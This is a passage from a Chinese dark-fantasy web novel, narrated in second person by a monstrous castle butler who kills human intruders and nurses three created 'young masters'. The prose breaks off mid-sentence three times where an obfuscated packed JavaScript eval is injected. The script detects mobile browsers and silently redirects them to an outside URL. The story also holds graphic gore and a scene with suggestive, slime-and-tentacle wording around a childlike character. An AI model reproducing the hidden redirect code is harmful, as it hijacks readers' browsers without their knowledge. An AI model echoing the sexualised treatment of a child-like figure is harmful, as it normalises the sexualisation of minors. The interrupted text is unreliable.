五号缩在地上,身形瘦小,团成一团,竟还有心思胡乱吐槽。 你是来搞笑的吗? 伪人开始挪动,原本散乱无章的队形,在少爷的注视下,竟逐一列队到他身后,整齐排成四列。 不知情的人看了,还以为是在军训。 你其实就站在大厅之中,只是将自身气息彻底隐匿。 这次,四号发现不了你,因为你现在的能量是满值。 大少爷第一次开口提醒:“请各位客人落座。” 五号一骨碌爬起来,慌忙坐到位置上,其余人却依旧僵在原地。 第二次提醒:“请各位客人,坐到位置上。” 大少爷衣着华贵精致,急切地想在你面前展现出得体的模样。 依旧无人听从。 他们早已陷入应激状态,笃定晚餐时刻会迎来第二轮屠杀。 在他们眼中,眼前的一切毫无逻辑可循,根本找不到任何破局的方法。 战火一触即发,四号率先扣动扳机,子弹笔直射向大少爷猩红的眼眸。 快点,击中他! 眼睛,一定是他的弱点! “噗嗤——” 大少爷精致的半边脸颊被直接射穿,血肉模糊的洞口赫然暴露在众人眼前。 为什么?! 为什么?! 明明已经命中,他却依旧屹立不倒!这完全违背常理! 依照四号的经验,低级NPC向来一枪毙命,高级NPC只要找准弱点,便能轻松击溃。解开位面谜题、击败BOSS,就能拿到巨额报酬,获得全新能力。 猩红的血洞源源不断涌出鲜血,浸透华贵的衣料,一滴一滴砸在地面,很快积成一滩小小的血洼。 大少爷缓缓站起。 众人下意识后退一步。 黑色烈焰裹挟着灼人的热浪撕裂空气,一瞬便斩落他破损不堪的头颅。 大少爷仿佛早已等候这一刻,抬手一挥,大批伪人朝着八名人类猛扑而去。 咕叽咕叽。 是血肉疯狂再生的声响。 咔嚓咔嚓。 是骨骼在肌理间重新咬合的摩擦声。 在伪人与人类的厮杀混战中,一颗崭新、完美、光洁、毫无血迹的头颅,从脖颈断裂处缓缓生长出来。 如同破土的新芽,抽枝的嫩草,以一种诡异的乖巧姿态钻了出来。 在你眼中,倒是有几分可爱。 巨大的爆炸声在大厅内轰然炸开,魔力球接二连三爆裂,火焰四处蔓延,白色法阵同时亮起,在每个人脚下铺展开来。 大少爷舒展了一下筋骨,将椅子拉远几分,慵懒落座。 这个懒家伙,向来能坐着就绝不站着。 十三号…… 你在混乱中搜寻十三号的身影,却一无所获。 浓重的黑烟里,一颗眼珠冲破迷雾,携着狂暴的冲击波,直袭大少爷面门。 “嗡——” 空间骤然扭曲! 是十三号! 她借着眼珠的落点,瞬间瞬移到大少爷头顶,裙摆翻飞,划出凌厉的弧度。 半空之中,她一把抓回眼珠,塞进口袋,顺势一记重劈而下。 “啪!” 椅子应声碎裂。 大少爷消失无踪。 小少爷的能力,十三号怎么会拥有? 她是偷学了?! “杀了她。” 你淡淡下达命令。 她在发动袭击前,究竟藏在了何处? 连你都无法捕捉到她的丝毫气息。 大厅遍布焦黑痕迹,漆黑的印记与日光投下的阴影重叠在一起,压抑得令人窒息。 十三号再次消失。 空气中弥漫着毒丸的刺鼻气味。 大少爷只能依靠嗅觉,追踪十三号的行踪。 在这里? 在上方? 不,在身后! “砰!” 大少爷被一脚踹飞出去数米。 五名伪人立刻围拢过来,将他护在中央。 下方! “嗯哼!” 大少爷又被狠狠铲起! “影子。”你平静地在他脑海中提醒,并限制完成时间:“给你五分钟。” 五号蜷缩在大厅角落,疯了一般四处逃窜。 她冲上楼梯,却发现阶梯早已断裂,前方空出一大段缺口,根本无法跃过。 她站在断口处向下望去,不知何时,楼下已化作深不见底的深渊。 五号发出一声凄厉的尖叫,又跌跌撞撞冲向大门,疯狂拍打着门板,抓起一截断裂的木桌狠命砸去。 毫无用处。 恐惧将她彻底支配,却也让她爆发出诡异的勇气,战火竟奇迹般未曾波及她。看来,那些怪物根本不屑对弱者动手。 五号嗤笑一声,带着扭曲的得意。 她拖过桌子,站到彩色玻璃下方。 随着玻璃轰然碎裂,她歇斯底里地嘶吼:“全都去死吧!” “我才不陪你们玩,哈哈哈哈哈!” “说我是蠢货,说我是笨蛋……” “哼,那你们就慢慢厮杀吧,都去死,全都给我死!” 五号不顾锋利的玻璃碎片,踩在桌沿,手掌撑住窗台。玻璃狠狠扎进掌心,浓稠的鲜血瞬间喷涌而出。 她强忍着剧痛,翻身越出窗台,重重滚落在草坪上。 身后,便是那棵散发着腐臭、直插云霄的骷髅巨树。 “呕——” “哈,哈哈哈,呕——我逃出来了!” “全都去死吧!” 五号没有任何特殊能力,这是她第一次进入抽取位面。为了洗脱自己校园霸凌致人死亡的罪孽,她特意挑选了一个看似强大的靠山,一路谄媚依附…… 呵,都去死吧。 和那个碍眼的贱人一起去死。 谁让她生得那般好看,夺走所有人的喜爱。 五号癫狂地嗤笑着,踉踉跄跄踏过满地风干的白骨,头也不回地拼命狂奔。 快了,快了,就快到森林了! 冲进森林,穿过密林,就能回到现实世界! “你好,这位客人。” 她像是见了鬼一般,双腿一软跪倒在地,胸膛剧烈起伏,□□得如同漏气的破风箱,所有情绪在一瞬间彻底崩溃。 “你要干什么?” 她一边后退一边哀求:“求求你……放我走,我受不了了,放我走……” 她的头摇得像拨浪鼓,精心养护的长发甩打在脸颊上,眼泪与鼻涕混作一团,狼狈不堪。 “我真的不是故意的,她不是我害死的。” “谁知道她会去跳楼啊……” “她都没告诉我她要跳楼,我不过就是说了她几句而已……” “谁知道她心理这么脆弱。” 你对人类的这些龌龊旧事毫无兴趣。 太多人在濒临死亡时,热衷于自我赎罪。他们以为,将自己的罪孽全盘托出,就能得到宽恕。 他们把自己摆在将死的受害者位置上,便觉得这已是最大的惩罚。 老天啊……我都快要死了,你就原谅我吧。 呵。 一旦面临死亡,他们便将自己层层剖析,批判、嘲讽、忏悔过后,就自以为洗清了所有罪孽,重获清白。 呵。 这算什么道理? 那句话是怎么说的来着? 胖虎效应? 坏人偶尔做一件好事,就会被轻易原谅。 是这样吗? 你记不太清了,这是曾经某个诡异在会议上提起的,后来,它也被你清算掉了。 五号用袖子胡乱擦干净脸,见你没有动作,立刻爬起来想要逃跑。 “咔嚓。” 一声轻响,你拧断了她的脖颈。 不如从前干脆了。 你看着筋膜依旧相连的断口,漠然地想。 若是从前,你能直接将其捏碎,脑浆与骨头,都会像软烂的豆腐一般,被挤成一团肉泥。 太脏了,还是算了。 头颅被你随手丢开,与地上枯白的碎骨滚落在一处。 为何大少爷与十三号缠斗了如此之久? 十三号能够借助影子穿梭,她到底从何处获得了这么多能力? 大少爷擦去嘴角的血迹,开口道:“你的毒与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343132|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神攻击,对我已经无效了。” 他身上的伤口正在缓慢愈合。 “嗯,猜到了,管家为你重铸了肉身。”十三号掷出眼珠,这一次,落点正是伪人群中央。 十三号掌握了城堡大量机密,她能得知,意味着外界也已获取消息。 情报泄露过多,对你极为不利。 战争之中,武器与能力能发挥百分百威力的前提,是绝对的情报优势。 “我去!这些怪物烧也烧不死,砍也砍不烂,到底要怎么解决!” “太憋屈了,每次快要冲出包围,伪人立刻就会追上来!” 四号不停为武器更换弹药,再这样下去,即便有十二号阵法的增幅,魔力也终将耗尽。 而且…… 管家为何始终不出手? 这根本就是一场单方面的屠杀…… 她终于明白,为何第五位面的情报少得可怜。 热汗与冷汗交织浸透,她的后背早已湿透。 四号摸向耳际的月亮耳钉,轻轻摘下,紧紧攥在手心。 刹那间,时间静止,空间凝固。 唯有她,能在静止的大厅中自由移动。 短暂的时间倒流她已使用多次,却依旧没能找到这些不死伪人的弱点。再这样下去,毫无胜算。 只要无人挣脱这片静止空间,她便能在城堡内暂时称霸。 四号在大少爷面前停下脚步。 他即便面目狰狞,也依旧保留着精致的美感,眼角一颗妖冶的泪痣格外醒目。他并非早晨那位少爷的放大版,这座城堡里,出现了第二位少爷。 一切都混乱得令人费解。 等等…… 管家! 她怎么把管家忘了! 此前,她还能隐约察觉到暗中窥视的气息,一直以为是城堡的主人,可现在…… 现在,她完全感知不到第二个人的存在。 “你在找我吗?”你悄无声息出现在四号身后,牢牢禁锢住她的身体,声音阴冷得令人发毛。 “你为什么……” “我为什么不受你的支配?你是想问这个,对吗?” 你从背后环抱住她,面前正对大少爷的脸庞。你瞥了一眼大少爷的眼睛,低下头,语气带着挑衅:“你猜啊。” 空间轰然破碎。 四号的心神也随之彻底崩裂。 那枚月亮耳钉,更是寸寸碎裂,散落一地。 这根本不是她的耳钉,上面的魔力气息,也不属于她。 不知她是从何处偷来的。 解决这些人本是轻而易举的事,却被拖延了这么久。 你将手上的血迹擦在大少爷的衣服上,意味深长地看着他。 “你不行啊……” 你拍了拍他的肩膀,淡淡说道。 众人刚从静止的时间中解脱,惯性让他们齐齐向前扑倒,伪人也摔作一团,瘫在地上不再动弹。 他们终于发现了你。 你对着他们轻轻挑眉,弯起唇角,露出一抹明媚的笑。 那是他们第一次看见你如此鲜活的表情。 “再见。”你轻声说。 无数触手从你的尾骨蔓延而出,不断膨胀扩张,瞬间撑满整座城堡。 “噗嗤——” “噗嗤——” 一道又一道触手以迅雷不及之势穿透他们的胸膛,他们甚至来不及举起武器,便已失去生机。 十三号的口中不断涌出鲜血,她死死盯着你,眼珠炸裂,血泪顺着眼眶蜿蜒流下。 你厌恶她这般执拗的目光,抬手将她碎尸万段,扔到室外,化作花园的养料。 “啊——” 四楼传来小少爷凄厉的,尖锐的哭喊。 “痛痛痛痛!啊啊啊,好痛!管家大人!” 你朝身后递去一个眼神,大少爷立刻上楼查看状况。 十三号的碎肉之中,露出一丝惨白的眼白。 小少爷的眼珠,被切成了八块。 是什么时候…… 她用眼珠与小少爷建立了联系? “你违背了规则。” 上空传来层层叠叠,令人烦躁的声音。 “违背,规则!” “接受惩罚!” “第五位面……” 12. 重塑眼睛 城堡的所有通道全部关闭。 “嘭、嘭、嘭……” 不管是窗户,还是装饰用的暗门,全都被一层魔力包裹。从外面看,整座城堡从上到下,就像被玻璃罩罩住,形成一个密不透风的牢笼。 脚下的地板变得柔软,地上横七竖八的尸体与尸块、满地的伪人碎片、各种杂物,全都被地板吞噬。 很快,尸体上柔软的部分就会被消化。 城堡焕然一新。 你身上的魔力一瞬间被全部抽空,在位面全景地图上,第五位面彻底被抹去。 外界的声音也被完全隔绝。 “赫——” 豆大的汗珠从你额头滴落,渗入地毯。 杀人不累,防御才累。 “大人!”大少爷在四楼焦急地喊道。 小少爷的眼眶被黑色液体糊住,闻起来则是一股铁锈味。 是毒吗? “好痛……全身都好痛,啊……” 小少爷紧紧攥着你的衣角,头埋进你的怀里,眼泪混着黑色液体一同滚落,在你洁白的衬衫上晕开一朵朵墨痕。 “对不起……我把您的衣服弄脏了。” “出去。”你对大少爷说。 他磨蹭着脚步离开,轻轻掩上房门。 你把小少爷整个抱过来,让他以舒服的姿势坐在腿上。 你与他额头相抵,身后的触手如莲花般绽开,一圈圈从下至上将你们包围,分泌出粘液。 你背后的衬衫早已被汗水浸透,你在透支魔力。 啧,再坚持一下,先把小少爷的眼球取下来,再去老二那里补充能量。 小少爷浑身沾满透明粘液,衬衫、短裤全都被打湿,黏腻地贴在身上,液体顺着他露出的小腿蜿蜒向下。 “有点痛,忍一忍。” 你亲了亲他的额头,细小的触手尖端从他耳后钻出,左右各一,缓缓沿着太阳穴爬向眼眶。 小少爷咽了咽口水,抓住你的手:“您是不是……重塑了大哥哥的身体?” “问这个干什么?” 两根触手钻进眼眶。 “嗯哼……”他吃痛闷哼,却仍在追问,“是不是?” “不要骗我……啊哈……”话还没说完,就被剧烈的痛苦打断。 他死死攥着你的手,手背青筋暴起,下唇被咬出了血痕。 眼珠连着神经,黑红之色融成褐浊,争相涌出。 即便如此,他仍开口:“不要骗我,大人……” 他大口喘着气,视野被剥夺,满心不安,猛地抱住你的腰:“哥哥他和平时不一样,我第一眼就看出来了,为什么要给他重塑身体?” 他一口气说完:“大人为什么又偏心了,明明之前最疼我,我哪里做得不好……还是我太没用了?” 你耐心听完,只觉得这是件毫无意义的小事。 “别多想。” 你再次亲吻他的额头。 “为什么……” 他彻底像只鹌鹑,缩成一团,埋进你的怀里。 你将他掰正,小触手已经把两颗眼球扔进墙壁,交由肠道分解,现在要开始重塑眼球。 “能不能也把我重塑?我也想变得更完美。” “不可以。” 想什么呢,我的傻孩子。 你已经透支到极限,还要耗费魔力为他重塑,他是想把你彻底掏空、让你虚脱吗? 这样可不行。 只要身体好好的,就别再提这种要求了。 “为什么我不可以?” “您不爱我了吗?” “我真的比不上哥哥吗?” “我……唔唔唔……” 触手塞进他嘴里,堵住了他的话。 你不想听。 之前塞进去,是因为他叫得太响;现在,是他话太多。 那两根细小的触手再次伸进空旷的眼眶,在狭小的空间里一圈圈盘旋,将眼眶填满。 透明的液体从眼眶中渗出。 小少爷没有自愈能力,只能靠这种方式,催动体内细胞飞速分裂、填充,长出新的血肉。 你身上也沾了不少透明液体。你将手抽出,小少爷没了可抓的东西,支支吾吾地用双臂环住你的脖子。 他把头侧靠在你的颈窝,触手也顺势攀上你的脖颈。 好凉…… 你和他,浑身都湿透了。 门缝外,一双红色的眼睛,正满是嫉妒地望着。 小少爷浑身颤抖,不知是冷还是痛,一个劲往你身上贴,恨不得把自己嵌进你的身体里。 他不重,你可以一直这样抱着。 就在几天前,你还抱着他和触手玩耍。 怎么玩来着? 他双腿分开,背靠着你的胸膛,你环着他的大腿来回走动,触手在身前张牙舞爪。 幸好他个子小,又幼又嫩,模样可爱。 哄小孩,你最擅长。 他开心,你也开心。 另外两位少爷已经长大,不能随时抱在怀里,只能在固定的地方嬉闹。不过触手可以抱住他们,触手力气很大,缠住他们的腰,稍一用力就能将人抬到空中。 有时是触手,有时是你自己的手。 无所谓,通感相连,所有触感,你都一清二楚。 小少爷的眼球已经重塑了一半。 你也快要被榨干了。 啊…… 身上真的没有多余魔力可以消耗了。 趁他嘴巴被堵住、四周一片安静,你趁机放空大脑,思索接下来的对策。 地图上,第五位面已经消失,剩下的九人必定会通过镜通道,将你拉入十人会议室。 各个位面之间没有其他通道相连,唯一的交流之地,便是黑暗会议室。 镜子无法破坏、无法移动,是最初为了保证位面交流,由十人共同打造的。 里面,还有你十分之一的魔力。 你现在有些后悔,当初就不该同意建造这面镜子。 可谁又能料到,会有人想把你拖入深渊、置你于死地。 你的脸色越来越苍白,小少爷的眼球,还差最后四分之一便能成型。 那个十三号,究竟是如何与小少爷的身体相连的? 小少爷的弱点本就是眼珠,一旦找到他真正的眼睛并碾碎,便能让他彻底灰飞烟灭。 而小少爷,也能凭借自己炼制的眼珠进行空间瞬移。 触手从他口中退出,牵出一缕银丝。 “你出过四楼吗?” 小少爷摇了摇头,舔了舔嘴唇,不断吞咽口中分泌的液体。 真是奇怪。 “我只在四楼和厨房活动,只有厨房里有制作眼珠的粘土。” 你的手脚开始发凉。 “好冰,管家大人受伤了吗?” “没有。” 小少爷把你的手贴在他发烫的脸颊上,你感受到滚烫的温度。 你望着他即将成型的眼睛,出了神。 触手完成任务,松开小少爷,重新缩回你的尾骨。 对啊,不一定非要拿到小少爷的眼珠本体,十三号从未接触过他本人。 她从第一晚的眼珠沙拉里,抽走了小少爷的魔力,混入粘土,做出了一枚与本体相似的假眼珠。 只需一丝本尊的魔力,便能隔山打牛。 这堪称变态的炼制能力…… 原来她不是第四位面的间谍,而是桑齐手下的人。 桑齐…… 你从未怀疑过这位老朋友。 桑齐想做什么? 想把第五位面与第九位面合并吗? 想独占整个位面世界吗? 幸好十三号学艺不精,只对你的小少爷造成了一点轻伤。 不然,小少爷真的要被丢进地基重塑了。 你之前还把药丸拿给桑齐看,当时简直蠢透了。 你的脑袋一阵刺痛,眼前骤然黑了几秒。 你稳住身形,对赖在你身上不断磨蹭的小少爷说:“好了,你下去。” 他装作没听见。 你直接将他放下。 你直起身,踉跄了几步才站稳,迎上门外那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343133|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双窥视的眼睛。 你上前拉开门,门外的人险些扑进来,摔在你的鞋边。 “照顾好你弟弟。” “我?” “嗯,进去。” “好吧。” 大少爷不情不愿地走进房间,坐在沙发上,跷着二郎腿、抱着手臂,仰头靠在沙发上,津津有味地望着天花板,连一个眼神都不愿分给弟弟。 你笔直地站着,姿态僵硬,费力地支撑着身体,却还是开口提醒: “兄友弟恭。” 随后,两人勉强抱了一下,小少爷把身上的粘液蹭到了哥哥身上。大少爷高高仰起头,把弟弟的头按进自己宽阔的胸膛。 别把他憋窒息了。 没看到小少爷在挣扎吗? 算了,不管了,该去补充能量了。 你抬头望向城堡的天花板,那么高、那么精致,如此繁复而高贵。 绝不能让别人占领,更不能让别人破坏。 这可是你生存了几百年的家。 你撞开六楼的房门,踉跄着扑进二少爷的被褥里。 柔软的床垫微微起伏,将你颠了两下。 二少爷的房间隔音极好,他从未踏出房门,对外面发生的一切一无所知。 他合上书,连忙将你拉进怀里,解开衬衫纽扣,露出洁白的脖颈。 你靠在他身上,呼出的热气洒在他的肌肤上,他微微一颤,不知是痒还是羞,皮肤泛起淡粉。 如晚霞般浪漫,似画卷般精致。 真好看,你很喜欢。 只是这个姿势,有些像母亲哺乳。 你没有母亲,也不知道自己从何而来。 你望着二少爷的脸出神,创造这些人,究竟是为了满足自己的欲望,还是为了让自己不再孤独? 你忽然不再急切,只是安静地抱着他。 “你一整天都待在床上吗?”你问了一句废话。 “你身体好冷。”他把你裹进被子,你在上,换了个姿势,靠在他的胸膛。 “外面怎么了?我看见墙壁一直在蠕动,城堡好像很痛。” “没事,”你声音低沉,“它刚才疼了一下,现在已经好了。” “今天情况很艰难啊,大人一天来我这里好几次。” “嗯……” “是那些人类太棘手了吗?” “不是,是其他的。” 你不再回答,他也不再多问。 这不是他的领域,更不是他的职责,他只需要服侍好你。 “现在吗?”他低头问。 金色的发丝调皮地落在他高挺的鼻梁上。 你摇了摇头,此刻你连将牙齿刺入他身体的力气都没有。 他把衣服往外拉了拉,又把被子往上拢了拢。 被子里,你的腿与他的交叠在一起。他把枕头放平,安稳地躺平,你压在他身上,紧紧贴着他。 你贪恋地依偎在他怀里,轻声呢喃:“你好暖和……” 他的声音从胸腔传来,你能感受到脸颊下肌肤的震动:“因为我一直躺着,我也就这点用处了。” 二少爷被光线偏爱,他的房间在六楼,算是最高处,沐浴着其他人享受不到的阳光。 “我看到一句话,是这样说的。” 你静静听着他的声音。 “早起的黎明,垂着玫瑰色手指,重现天际。” 这句莫名的话戳中了你的笑点:“都已经是黄昏了。” “但你可以操纵太阳,让黎明再次到来。” 你简直要醉倒在他的温柔乡。 你的身体渐渐回暖:“你从哪里夺来的书?这么正经。” “这不重要。” “我想要不正经的。”你调笑道。 他轻哼一声。 你握住他的手,十指相扣。 “玫瑰色的手指……好奇怪。” 你轻轻把玩着他的手。 “不是玫瑰色。” 他微微向上托了托你,你的唇,对准了他的脖颈。 “这里,才是玫瑰色。” 13. 争宠 你直起上半身,双腿跪坐在他腰间,被子从你身上滑落,差点掉到地上,被二少爷右手一捞,又重新披在你身上。 玫瑰色,你并不喜欢,太过艳丽、妖冶,不符合你淡然的气质,你自认是清冷之人;也配不上二少爷的模样,你自认为他如同天使般圣洁。 难道不是吗? 不接受反驳。 他身上的粉色,才是最好看的。 你到底对着这一抹粉夸赞过多少次? 你早已记不清了。 “还有力气吗?” 他一双手环住你的腰。 你咽了咽口水,双臂撑在枕头上,双手深深陷进被褥里,他散落的金发缠上你的指尖。 话都说到这个份上,怎么可能没有力气。 “你压着我头发了。” “抱歉。” 你亲吻他的唇角,像水珠滚落时留下的水渍,一路向下。 他乖乖侧过头,嘴唇蹭过你的大拇指。 原先你手上的痕迹,早就在他身上擦干净了。 你低下头,慢慢凑近那处,你的黑色长直发与他的金发交织在一起。 齿尖轻触他柔嫩的肌肤,旁边就是不久前你留下的伤口,你怕他疼,没有再去触碰那处。 伤口尚未愈合,但已不再流血,你的唇覆上去,轻轻包裹、舔舐了两下。 身下的人微微一颤,紧紧抱住了你。 脖颈被咬了,虽然不止一次,但还是有些许疼痛。 酥酥麻麻的痛,在神经中传播,口中溢出些许低喘,更多的是隐忍的轻颤与低吟。 像神子在传唱赞美之歌,呻楚,吟诵。 他在歌颂你吗? 可怜兮兮的人呐。 你只在脖子以上的部位为非作歹。 你颇有人道主义地问:“疼吗?” 怎么就这么喜欢问一些废话呢? 他小幅度摇摇头,闭着眼,嘴巴微张,舌尖探出,这般恭顺的样子,轻易勾住你的心神。 好喜欢。 好喜欢。 你炙热的视线烫得他眼皮颤动,他睁开一条眼缝,那双已转为深金色的眼眸,就这样盛满了你。 他的神魂在游走,他的思绪在放飞。 他漫无方向、没有目的,像迷途的羔羊,无家可归。 最终,他摸到那根束着你发丝的红发带,指尖一挑,将其扯下,发带先前本就沾了水,这下更是染了一手湿润。 你也将他的发带扯下。 真幼稚啊你,在较什么劲呢? 他不介意,他很乐意,他甘愿与你一同沉沦。 你难道不是清冷自持吗? 去他的,早已抛到一边。 其实你没做什么,只是上头了,单纯地在他脖子处乱拱。 脖子以上,还要怎样?! 二少爷紧紧攥着你的发带。你不喜欢被他的怀抱禁锢,便从他颈间离开,趁他大口喘息之际,用那根红发带绑住他一只手腕。 手腕被勒出一道醒目的红痕,颜色不算深,隐在发带之下。你强硬地掰开他的五指,与他十指相扣。 两只交握的手离开床沿,悬在空中,红发带垂落在地,本是无风静止,却随着双手的动作轻轻飘动,在地板上无声摇曳,带着几分不规则的灵动。 你转过他的头,换到另一侧。 被窝越来越凉,你的身体却渐渐回暖。 这一次,换你来温暖他。 “为什么二哥哥会在管家大人的房间里?” “二哥哥不知羞吗?” “哥哥怎么连扣子都扣不紧,露出一片是做什么?” “二哥哥是怎么下来的?” “管家大人没让你下来吧?” 你换好衣裳,刚一进门,就听见一连串咄咄逼人的诘问。 “二哥哥怎么不说话?你是怎么下来的?” “我抱下来的。” 你戴好手套,又觉得闷得慌,随手脱下,丢在不远处的凳子上,关上房门。 你看向房间里的兄弟三人: 躺在床上看书,看似岁月静好、却脸色苍白的二少爷; 站在地上,叉着腰、骄纵任性的小少爷; 还有斜倚在沙发上,一副事不关己、高高挂起,嘴角噙着笑、乐呵呵看戏的大少爷。 “我抱下来的,有意见吗?” “没……没有。” 小少爷撇着嘴,委屈地重重坐回梳妆台前的椅子上。 “你们两个,”你点兵点将,伸手指向大少爷和小少爷,“来我房间做什么?” 大少爷似笑非笑地看着你,并不打算回答。 小少爷抠着手指,低着头,像犯了错的孩子,小声开口:“就是……嗯,我的房间,被墙壁吞噬了。” 哦,是刚才那阵异动。 你走到床边,从抽屉里拿出一条更长、花纹更繁复的红发带,叼在嘴里,两手拢起黑发。 扎好头发,你轻轻摇了摇头,发丝没有散乱,手艺还在:“没事,城堡在消化东西,大概是吃了什么不干净的,过一会儿就好了。” “所以,你就来我这儿,想在我房间休息?”你挑眉看向他。 他不好意思地点了点头。 “你呢?”你抬了抬下巴,示意大少爷回答。 他手肘撑在沙发扶手上,笑着说:“我的两个弟弟都在这儿,我自然也要留下。” 你将碎发往后拨,轻轻叹了口气:“随你们吧。” 眼下有更要紧的事,这点小事就由着他们了。 “我已经将城堡封闭了,你们安分待着,不要出去。” “搞得我们以前就能出去一样。”小少爷小声嘀咕。 这是……在质疑你的管理能力,还是在说你把他们软禁起来? “我以前不是说过,你们可以在花园里玩吗?谁让你们不去,害得花园一直闲置。” 小少爷梗着脖子跟你顶嘴:“您那花园,是能待人的地方吗?” “花不是花,全是腐烂的骷髅头;草不是草,全是插在土里、永不腐朽的肠子。” “这是人能待的地方吗?” 小少爷越说越起劲:“在您带我去第四位面之前,我一直以为花园本来就是这样,原来是您审美独特。” “……” 你抿紧嘴唇,手指不住地敲击桌面,耐心一点点耗尽。 你上前揪住他的头发往后一拉,迫使他整张脸对着你。 “我审美不差,不然你也不会生得这么好看。” “嗯?是不是?” 你松开手,又替他整理好凌乱的卷发,顺手揉了两下。 你这打一巴掌给颗甜枣的本事,倒是越来越熟练了。 第四位面……一提到第四位面,你就心头烦躁。 如今你已是草木皆兵。 你不知道他们何时会破解镜子的封印,强行将你拖入那间十人会议室。 若是那九人一同发力冲破封印,只需要半天时间。 你并不算弱,这么多诡异、更迭这么多代,若没有几分本事傍身,你早就被人踢下台了。 难搞哦。 要守护这偌大的家,简直…… 很累! 你“呼”地一声垂下头。 “你们,”你一个一个看过去,“如果听到任何声音,都置之不理,各自做好自己的事。” 你指着乐呵呵笑的大少爷:“你,修好所有的伪人,再多造几个。你本人就躲在画里,提供城堡各方各面的动态。” “不要再笑了,懂了吗?” 大少爷收起嬉皮笑脸,郑重地点点头。 “你,把书收起来,现在别装了。” 二少爷听话地合上还停在扉页的书,放在床头。 “对你要求不高,别被人发现,保护好自己。” 二少爷没有任何攻击能力,纯粹是给你回血的血包。 “还有你,抬起头,别抑郁了。” 小少爷坐在梳妆台上,嘟着嘴,手欲伸又缩,来回犹豫。 “想牵就牵。” 他高兴地握住你的手,双腿在空中荡啊荡。 “你的兔子呢?” “在卧室。” 你“啪”地甩开他的手。 “管好你的兔子,然后把魔力收拢,不要外泄。你的速度很快,武器也很厉害,不要浪费了。” 你掰着他的头:“听到了吗?不然你死了,我是不会再造的。” 他肉嘟嘟的脸颊被大力挤压,费力地回应你的要求。 “听话就是好孩子。” 你揉揉他的脸蛋,将疼痛都揉开。 “如果突然有一天,你们在城堡里找不到我了,就钻到城堡墙壁中。” 你严肃地说, “要是墙壁在剧烈蠕动,你们俩首先保护好老二,把他送到地基中。” 绝对不能让充电宝被发现。 但是,桑齐参与了少爷的制作,最初版老二的能力是魔力牵引,自愈能力通过魔丝输送到包括你在内的三人身上。 桑齐应该只知道这个信息。 老二是第一个被重塑的,还是因为你不满最漂亮的孩子被共享,为了独占,才造出完全体的充电宝。 啊…… 你下意识扶额。 除了大少爷,其他两位当时都待在各自的房间里,不知道事情的前因后果。 他们不需要知道,只需要服从命令。 这就是少爷们的好处,完全是“管家脑”。 大少爷在一片寂静中开口:“那……我和老幺都死了呢?为了保护他,为了你的大业,都牺牲了,你会为我们哀悼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343134|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 他眼中没有情绪,直直地看着你:“会吗?” 虽然很残忍,但你想说“不会”。 只要城堡还在,少爷这个生物就会被你一次次制造出来。 他得到的是你的沉默。 “我知道了……” “你不会只有一个少爷,但我只有你一个管家。” 他抿了抿唇,迈着稍显沉重的步伐来到你身后,环抱住你,头搭在你肩上。 他身后,是另外两道近乎绞杀般的视线。 “我不知道你为什么创造出少爷,大概率是为了满足欲望,你本就是这么重欲的一个人。” “管家和少爷,本该是少爷为尊,管家为卑。” 你目光一冷,反手将他打趴在地。 “尊卑之说,你从哪里听来的?我不记得我把原先的记忆,塞进你重塑的身体里。” “我……” 大少爷痛苦地挣扎。 “在弟弟的房间,那本童话书上,我看到的。” 你瞥向小少爷。 小少爷被吓了一跳,结巴地说:“我、我、我没看过……那本书,我早就不看了……我只挑自己喜欢的看,您是知道的。” 知道什么? 你什么都不知道! “在我的世界里,这套规矩不成立。我想怎么做就怎么做,懂了吗?” “嗯……我知道,我什么都懂,所以,你才不会为我们的死亡哀悼。” 你将他拉起来,为他拍走衣服上的灰尘:“你希望我为你哀悼吗?” “希望……”他凑上来,发疯般地蹭着你, “我爱你,我可以为你去死,你可以为我哀悼吗?” 这是什么跟什么啊! 你烦躁得要死。 “我不会让你死,所以别一口一个哀悼了。” “还有,你们的名字就是少爷,这只是我的恶趣味,别真把自己当少爷。” 问题少年。 还以为老幺是最闹腾的,结果是老大最会胡思乱想。 因为你的名字是管家,跟城堡很配,所以你建了这座城堡。 而少爷,你默认他们是城堡的居民,才把最新一代的造物称为“少爷”。 下一代不叫“少爷”了,叫“奴隶”吧。 小少爷转过身,扣着梳妆台,盯着空空如也的梳妆盒。 二少爷完全躺进被子里,用被子将自己罩住。 大少爷哭了,眼泪争先恐后从眼眶中涌出。 “对不起……管家大人,对不起……” 他抱住你的腰,眼泪将你新换的衣服濡湿。 “您是爱我的,对不对?” 他到底从哪里来的不安全感? 你很好奇,大少爷这种存在,怎么变得越来越感性了?他不应该是最放得开的吗? “当然,我不是说过了吗?我很爱你。” 